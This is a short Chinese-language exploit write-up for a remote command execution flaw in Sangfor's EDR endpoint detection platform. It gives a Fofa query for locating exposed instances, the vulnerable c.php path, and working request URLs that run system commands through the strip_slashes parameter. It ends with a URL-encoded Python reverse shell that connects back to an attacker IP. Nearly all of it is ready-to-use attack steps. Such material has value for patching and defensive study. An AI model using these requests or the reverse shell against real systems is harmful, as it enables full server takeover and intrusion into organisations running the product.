深信服终端检测响应平台EDR-远程命令执行漏洞

1.漏洞描述

       深信服终端检测响应平台EDR存在远程命令执行漏洞，通过远程访问目标文件，造成远程命令执行，获取服务器完全控制权限。

2.资产查找

Fofa: app="深信服-终端检测响应平台EDR"

3.漏洞复现

1）访问深信服终端检测响应平台：https://xx.xx.xx.37/ui/login.php

2）远程访问目标文件：https://xx.xx.xx.37/tool/log/c.php

3）远程命令执行：https://xx.xx.xx.37/tool/log/c.php?strip_slashes=system&host=id

https://xx.xx.xx.37/tool/log/c.php?strip_slashes=system&host=whoami

4）反弹shell：

https://xx.xx.xx.37/tool/log/c.php?strip_slashes=system&path=python%20-c%20%22import%20os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%27xx.xx.xx.105%27,1919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%27/bin/bash%27,%27-i%27]);%22